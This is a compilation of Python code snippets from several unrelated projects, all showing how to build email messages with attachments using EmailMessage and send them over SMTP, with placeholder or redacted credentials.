response = command().lower() if response == 'yes': dir_path, file_name = open_file() with open(dir_path, 'rb') as file: file_data = file.read() file_type = imghdr.what(file.name) speak("Is it an image file?..Answer with a yes or no") resp = command().lower() if resp == 'yes': main_type = 'image' sub_type = file_type else: main_type = 'application' sub_type = 'octet-stream' msg.add_attachment(file_data, maintype=main_type, subtype=sub_type, filename=file_name) else: pass with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp: smtp.login('your email', 'your password') smtp.send_message(msg) speak("The mail has been sent") elif 'whatsapp' in com: speak( "Whats the name of the contect to whom the message will be sent" ) name = input("Name:") speak("Whats the message?") msg = command() speak("Please be ready to scan the qr code of whatsapp web")
async def send_email(self, *, user: Dict[str, Any], user_ctx: Dict[str, Any], subject: str, title: str, body: str, template: str, e_from: str, reply_to: Optional[str], global_ctx: Dict[str, Any], attachment: Optional[Attachment], tags: Dict[str, str], company_id: int): base_url = global_ctx['base_url'] full_name = '{first_name} {last_name}'.format( first_name=user['first_name'] or '', last_name=user['last_name'] or '', ).strip(' ') user_email = user['email'] extra_ctx = dict( first_name=user['first_name'] or user['last_name'] or '', full_name=full_name or 'user', unsubscribe_link= f'/api/unsubscribe/{user["id"]}/?sig={unsubscribe_sig(user["id"], self.settings)}', ) ctx = clean_ctx({**global_ctx, **extra_ctx, **user_ctx}, base_url) markup_data = ctx.pop('markup_data', None) e_msg = EmailMessage(policy=SMTP) subject = chevron.render(subject, data=ctx) e_msg['Subject'] = subject e_msg['From'] = e_from if reply_to: e_msg['Reply-To'] = reply_to e_msg[ 'To'] = f'{full_name} <{user_email}>' if full_name else user_email e_msg['List-Unsubscribe'] = '<{unsubscribe_link}>'.format(**ctx) e_msg['X-SES-CONFIGURATION-SET'] = 'nosht' e_msg['X-SES-MESSAGE-TAGS'] = ', '.join(f'{k}={v}' for k, v in tags.items()) if DEBUG_PRINT_REGEX.search(body): ctx['__debug_context__'] = f'```{json.dumps(ctx, indent=2)}```' body = apply_macros(body) body = chevron.render(body, data=ctx) raw_body = re.sub(r'\n{3,}', '\n\n', body).strip('\n') e_msg.set_content(raw_body, cte='quoted-printable') ctx.update( styles=STYLES, main_message=safe_markdown(raw_body), message_preview=shorten(strip_markdown(raw_body), 60, placeholder='…'), ) if markup_data: ctx['markup_data'] = json.dumps(markup_data, separators=(',', ':')) html_body = chevron.render(template, data=ctx, partials_dict={'title': title}) e_msg.add_alternative(html_body, subtype='html', cte='quoted-printable') if attachment: maintype, subtype = attachment.mime_type.split('/') e_msg.add_attachment( attachment.content.encode(), maintype=maintype, subtype=subtype, filename=attachment.filename, ) if self.send_via_aws and user_email.endswith('example.com'): logger.info( 'email not sent "%s" to "%s" because it ends "example.com"', subject, user_email) return send_method = self.aws_send if self.send_via_aws else self.print_email msg_id = await send_method(e_from=e_from, to=[user_email], email_msg=e_msg) await self.pg.execute( """ insert into emails (company, user_id, ext_id, trigger, subject, address) values ($1, $2, $3, $4, $5, $6) """, company_id, user['id'], msg_id, tags['trigger'], subject, user_email)
def build_email(self, email_from, email_to, subject, body, email_cc=None, email_bcc=None, reply_to=False, attachments=None, message_id=None, references=None, object_id=False, subtype='plain', headers=None, body_alternative=None, subtype_alternative='plain'): """Constructs an RFC2822 email.message.Message object based on the keyword arguments passed, and returns it. :param string email_from: sender email address :param list email_to: list of recipient addresses (to be joined with commas) :param string subject: email subject (no pre-encoding/quoting necessary) :param string body: email body, of the type ``subtype`` (by default, plaintext). If html subtype is used, the message will be automatically converted to plaintext and wrapped in multipart/alternative, unless an explicit ``body_alternative`` version is passed. :param string body_alternative: optional alternative body, of the type specified in ``subtype_alternative`` :param string reply_to: optional value of Reply-To header :param string object_id: optional tracking identifier, to be included in the message-id for recognizing replies. Suggested format for object-id is "res_id-model", e.g. "12345-crm.lead". :param string subtype: optional mime subtype for the text body (usually 'plain' or 'html'), must match the format of the ``body`` parameter. Default is 'plain', making the content part of the mail "text/plain". :param string subtype_alternative: optional mime subtype of ``body_alternative`` (usually 'plain' or 'html'). Default is 'plain'. :param list attachments: list of (filename, filecontents) pairs, where filecontents is a string containing the bytes of the attachment :param list email_cc: optional list of string values for CC header (to be joined with commas) :param list email_bcc: optional list of string values for BCC header (to be joined with commas) :param dict headers: optional map of headers to set on the outgoing mail (may override the other headers, including Subject, Reply-To, Message-Id, etc.) :rtype: email.message.EmailMessage :return: the new RFC2822 email message """ email_from = email_from or self._get_default_from_address() assert email_from, "You must either provide a sender address explicitly or configure "\ "using the combintion of `mail.catchall.domain` and `mail.default.from` "\ "ICPs, in the server configuration file or with the "\ "--email-from startup parameter." headers = headers or {} # need valid dict later email_cc = email_cc or [] email_bcc = email_bcc or [] body = body or u'' msg = EmailMessage(policy=email.policy.SMTP) if not message_id: if object_id: message_id = tools.generate_tracking_message_id(object_id) else: message_id = make_msgid() msg['Message-Id'] = message_id if references: msg['references'] = references msg['Subject'] = subject msg['From'] = email_from del msg['Reply-To'] msg['Reply-To'] = reply_to or email_from msg['To'] = email_to if email_cc: msg['Cc'] = email_cc if email_bcc: msg['Bcc'] = email_bcc msg['Date'] = datetime.datetime.utcnow() for key, value in headers.items(): msg[pycompat.to_text(ustr(key))] = value email_body = ustr(body) if subtype == 'html' and not body_alternative: msg.add_alternative(html2text.html2text(email_body), subtype='plain', charset='utf-8') msg.add_alternative(email_body, subtype=subtype, charset='utf-8') elif body_alternative: msg.add_alternative(ustr(body_alternative), subtype=subtype_alternative, charset='utf-8') msg.add_alternative(email_body, subtype=subtype, charset='utf-8') else: msg.set_content(email_body, subtype=subtype, charset='utf-8') if attachments: for (fname, fcontent, mime) in attachments: maintype, subtype = mime.split( '/') if mime and '/' in mime else ('application', 'octet-stream') msg.add_attachment(fcontent, maintype, subtype, filename=fname) return msg
def _build_eml(self, message: EmailMessage, body: dict, attachments: list) -> EmailMessage: """Constructs an eml file from objects extracted from a msg.""" # Order the body objects by increasing complexity and toss any missing objects body_objects: List[dict] = [body.get('text', {}), body.get('html', {}), body.get('rtf', {})] body_objects = [i for i in body_objects if i != {}] # If this a non-multipart email then we only need to attach the payload if message.get_content_maintype() != 'multipart': for _body in body_objects: if "text/{0}".format(_body['subtype']) == message.get_content_type(): message.set_content(**_body) return message raise MISPMsgConverstionError("Unable to find appropriate eml payload in message body.") # If multipart we are going to have to set the content type to null and build it back up. _orig_boundry = message.get_boundary() message.clear_content() # See if we are dealing with `related` inline content related_content = {} if isinstance(body.get('html', None), dict): _html = body.get('html', {}).get('obj') for attch in attachments: if _html.find("cid:{0}".format(attch.cid)) != -1: _content_type = attch._getStringStream('__substg1.0_370E') maintype, subtype = _content_type.split("/", 1) related_content[attch.cid] = (attch, {'obj': attch.data, "maintype": maintype, "subtype": subtype, "cid": attch.cid, "filename": attch.longFilename}) if len(related_content) > 0: if body.get('text', None) is not None: # Text always goes first in an alternative, but we need the related object first body_text = body.get('text') if isinstance(body_text, dict): message.add_related(**body_text) else: body_html = body.get('html') if isinstance(body_html, dict): message.add_related(**body_html) for mime_items in related_content.values(): if isinstance(mime_items[1], dict): message.add_related(**mime_items[1]) cur_attach = message.get_payload()[-1] self._update_content_disp_properties(mime_items[0], cur_attach) if body.get('text', None): # Now add the HTML as an alternative within the related obj related = message.get_payload()[0] related.add_alternative(**body.get('html')) else: for mime_dict in body_objects: # If encapsulated then don't attach RTF if self.encapsulated_body is not None: if mime_dict.get('subtype', "") == "rtf": continue if isinstance(mime_dict, dict): message.add_alternative(**mime_dict) for attch in attachments: # Add attachments at the end. if attch.cid not in related_content.keys(): _content_type = attch._getStringStream('__substg1.0_370E') maintype, subtype = _content_type.split("/", 1) message.add_attachment(attch.data, maintype=maintype, subtype=subtype, cid=attch.cid, filename=attch.longFilename) cur_attach = message.get_payload()[-1] self._update_content_disp_properties(attch, cur_attach) message.set_boundary(_orig_boundry) # Set back original boundary return message
def main(): st.title("SLOE ML Web App") html_temp = """ <div style="background-color:tomato;padding:10px"> <h2 style="color:white;text-align:center;">Menstruation Cycle Predictor </h2> </div> """ name = st.text_input("Enter your Child's name: ") email = st.text_input("Enter your Email-id: ") day = st.text_input("Enter Day: ") month = st.text_input("Enter Month: ") year = st.text_input("Enter Year: ") if st.button("Know More"): html_temp = """ <div> <h3 style="color:red;text-align:left;">0 = Attentive </h3> <h3 style="color:red;text-align:left;">1 = Unattentive </h3> <h3 style="color:red;text-align:left;">2 = Confused </h3> <h3 style="color:red;text-align:left;">3 = Depressed</h3> <h3 style="color:red;text-align:left;">4 = Cheerful </h3> </div> """ st.markdown(html_temp, unsafe_allow_html=True) if st.button("Predict"): result = mood_recog(day, month, year, 0, 0, 1, 0, 4) if int(result) == 0: st.success("Your child was Attentive during the day.") if int(result) == 1: st.success("Your child was Unattentive during the day.") if int(result) == 2: st.success("Your child was Confused during the day.") if int(result) == 3: st.success("Your child was Depressed during the day.") if int(result) == 4: st.success("Your child was Happy during the day.") import ics as icsneo import calendar from ics import Calendar, Event final = str(year) + "-" + str(month) + "-" + str(day) + " 00:00:00" print(final) c = Calendar() e = Event() e.name = "Mood of your child today:" e.begin = final c.events.add(e) c.events with open('my.ics', 'w') as my_file: my_file.writelines(c) import smtplib from email.message import EmailMessage EMAIL_ADDRESS = "*****@*****.**" EMAIL_PASSWORD = "******" msg = EmailMessage() msg['Subject'] = 'Your child daily behaviour: ' msg['From'] = EMAIL_ADDRESS msg['To'] = email msg.set_content('Your child was Happy during the day.') files = ['my.ics'] for file in files: with open(file, 'rb') as f: file_data = f.read() file_name = f.name msg.add_attachment(file_data, maintype='application', subtype='octet-stream', filename=file_name) with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg) st.line_chart(data=Data, width=0, height=0, use_container_width=True) st.bar_chart(Data)
class MyMail: def __init__(self, me, subject): self.From = me self.receiver = [] self.subject = subject self.date = datetime.datetime.now().strftime('%Y-%m-%d') self.msg = EmailMessage() @staticmethod def recursion_load(*path: str): """load all files Under the specified folder return a file's Path-obj list""" def _reload(path: Path): """recursion""" nonlocal file_list if not path.is_dir(): return for file in path.iterdir(): if file.is_file(): file_list.append(file) elif file.is_dir(): _reload(file) file_list = [] if not path: path = '.' for file in path: p = Path(file) if not p.exists(): continue if p.is_dir(): _reload(p) elif p.is_file(): file_list.append(p) yield from file_list def addReceiver(self, *args): """add target mail address,sep by ',',simplely check if target is vaild""" regex = re.compile( r'[0-9a-zA-Z_.-]+@[a-zA-Z\d-]+(\.[a-zA-Z0-9])*\.[a-zA-Z0-9]+') error = [] for x in args: if regex.match(x): self.receiver.append(x) else: error.append(x) if error: print('the following address are invaild, plz check!\n{}'.format( error)) def addText(self, path): file = self.recursion_load(path) for x in file: if x.suffixes[0] == '.txt': with open(str(x)) as fp: self.msg.set_content(fp.read()) def addImage(self, path): """add all pictures Under the specified folder""" file = self.recursion_load(path) for image in file: if image.suffixes in [['.png'], ['.bmp'], ['.jpg'], ['.gif']]: with open(image, 'rb') as fp: img_data = fp.read() self.msg.add_attachment(img_data, maintype='image', subtype=imghdr.what( None, img_data)) def addEnclosure(self, path): target = self.recursion_load(path) for x in target: ctype, encoding = mimetypes.guess_type(str(x)) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) filename = x.name with open(x, 'rb') as fp: self.msg.add_attachment(fp.read(), maintype=maintype, subtype=subtype, filename=filename) def sendMessage(self): self.msg['Subject'] = self.subject self.msg['From'] = self.From self.msg['To'] = ','.join(self.receiver) # self.msg.preamble = 'You will not see this in a MIME-aware mail reader.\n' server = smtplib.SMTP() server.connect('smtp.163.com') server.login(self.From, 'mail163') with server as s: s.send_message(self.msg, from_addr=self.From, to_addrs=','.join(self.receiver))
def execute(self, record): # recipient, sender, password, server_url, server_port, subject # input_opt_index, input_opt_data, filename, pass_input, message_state, message_txt, log_state recipient, sender, password, server_url, server_port, subject, \ input_opt_index, input_opt_data, filename, pass_input, message_state, \ message_txt, log_state = self.config if input_opt_index == 1: # Use input as message txt if message_state: # In case there is already a message, append input message_txt += '\n\n' message_txt += str(record) else: message_state = True message_txt = str(record) if isinstance(record, dict): # Dictionary has always priority if 'subject' in record: subject = record['subject'] if 'message' in record: message_state = True message_txt = record['message'] rcp_list = recipient.split(' ') # Message constructor msg = EmailMessage() msg['Subject'] = subject msg['From'] = sender msg['To'] = ', '.join(rcp_list) msg.set_default_type('text/plain') if message_state: msg.set_content(message_txt) # Attachment if input_opt_index == 2: # Attach input object as string if not filename: filename = 'filename.txt' msg.add_attachment(str(record), 'text/plain', filename=filename) if input_opt_index == 3: # Attach input object as binary attachement = pickle.dumps(record) if not filename: filename = 'filename.txt' msg.add_attachment(attachement, maintype='application', subtype='octet-stream', filename='filename.bin') context = ssl.create_default_context() with smtplib.SMTP_SSL(server_url, server_port, context=context) as server: server.login(sender, password) server.send_message(msg) if not pass_input: record = None log_txt = '{Message send succesfull}' log_output = '{} bytes send'.format(getsizeof(msg.__str__())) result = Record(self.getPos(), (self.row + 1, self.column), record, log=log_state, log_txt=log_txt, log_output=log_output) return result
# for sending mail through smtp you need to enable less sequre app in your email account. from email.message import EmailMessage #this is use for send in the email format. import smtplib # this is use for connect to gmail. import imghdr # this is use for attach images to mail. contacts = [ '*****@*****.**', '*****@*****.**' ] # write the email ids to which you want to send mail. you can send mail to multiple people at a time. msg = EmailMessage() msg['From'] = '*****@*****.**' #write your email id msg['To'] = contacts msg['Subject'] = 'write your email subject' msg.set_content('write your email body') # you can attach your file here. for files other than image you don't have to add imghdr. Change the maintype and subtype accordding to the file you are attaching. with open('filename.png', 'rb') as f: # write your filename here. file_data = f.read() file_type = imghdr.what( f.name) # no need for this line for attaching files other than image. file_name = f.name msg.add_attachment( file_data, maintype='image', subtype=file_type, filename=file_name) # change according to your file type. with smtplib.SMTP_SSL( 'smtp.gmail.com', 465 ) as smtp: # I am using smtp_ssl instead of smtp so that i need not have to use ehlo or starttls. smtp.login('*****@*****.**', 'password') # write your email and password. smtp.send_message(msg)
# Import smtplib for the actual sending function import smtplib # And imghdr to find the types of our images import imghdr # Here are the email package modules we'll need from email.message import EmailMessage # Create the container email message. msg = EmailMessage() msg['Subject'] = 'Our family reunion' # me == the sender's email address # family = the list of all recipients' email addresses msg['From'] = me msg['To'] = ', '.join(family) msg.preamble = 'Our family reunion' # Open the files in binary mode. Use imghdr to figure out the # MIME subtype for each specific image. for file in pngfiles: with open(file, 'rb') as fp: img_data = fp.read() msg.add_attachment(img_data, maintype='image', subtype=imghdr.what(None, img_data)) # Send the email via our own SMTP server. with smtplib.SMTP('localhost') as s: s.send_message(msg)
def execute(self): ##################################### # # # REFERENCE IMPLEMENTATION # # # ##################################### specificConfig = self.config.get('SpecificConfig') if not specificConfig: recordDone = Record(None, message='Config missing') self.return_queue.put(recordDone) return sender = None password = None url = None port = None recipients = None subject = None message = None attachments = None for attrs in specificConfig: if attrs['Name'] == 'Sender': sender = attrs['Data'] elif attrs['Name'] == 'Password': password = attrs['Data'] elif attrs['Name'] == 'URL': url = attrs['Data'] elif attrs['Name'] == 'Port': port = int(attrs['Data']) if not sender: raise Exception('Sender missing in configuration') if not password: raise Exception('Password missing in configuration') if not url: raise Exception('URL missing in configuration') if not port: raise Exception('Port missing in configuration') if isinstance(self.inputData, dict): if not 'recipient' in self.inputData or not isinstance( self.inputData['recipient'], str): recordDone = Record( PythonicError('Key error, see log for details'), message='Key "recipient" not found or not of type string') self.return_queue.put(recordDone) return if not 'subject' in self.inputData or not isinstance( self.inputData['subject'], str): recordDone = Record( PythonicError('Key error, see log for details'), message='Key "subject" not found or not of type string') self.return_queue.put(recordDone) return if not 'message' in self.inputData or not isinstance( self.inputData['message'], str): recordDone = Record( PythonicError('Key error, see log for details'), message='Key "subject" not found or not of type string') self.return_queue.put(recordDone) return recipients = self.inputData['recipient'] subject = self.inputData['subject'] message = self.inputData['message'] # optional: check for attachment(s) if 'attachment' in self.inputData and isinstance( self.inputData['attachment'], list): attachments = self.inputData['attachment'] else: recordDone = Record(PythonicError('Config missing'), message='Config missing') self.return_queue.put(recordDone) return msg = EmailMessage() msg['Subject'] = subject msg['From'] = sender msg['To'] = recipients msg.set_default_type('text/plain') msg.set_content(message) if attachments: for attachment in attachments: if not 'filename' in attachment: # and not isinstance(attachment['filename'], str): continue if not isinstance(attachment['filename'], str): continue if not 'data' in attachment: continue # attach data as text if isinstance(attachment['data'], str): msg.add_attachment(attachment['data'], 'text/plain', filename=attachment['filename']) else: # attach data is binary object msg.add_attachment(pickle.dumps(attachment['data']), maintype='application', subtype='octet-stream', filename=attachment['filename']) context = ssl.create_default_context() with smtplib.SMTP_SSL(url, port, context=context) as server: server.login(sender, password) server.send_message(msg)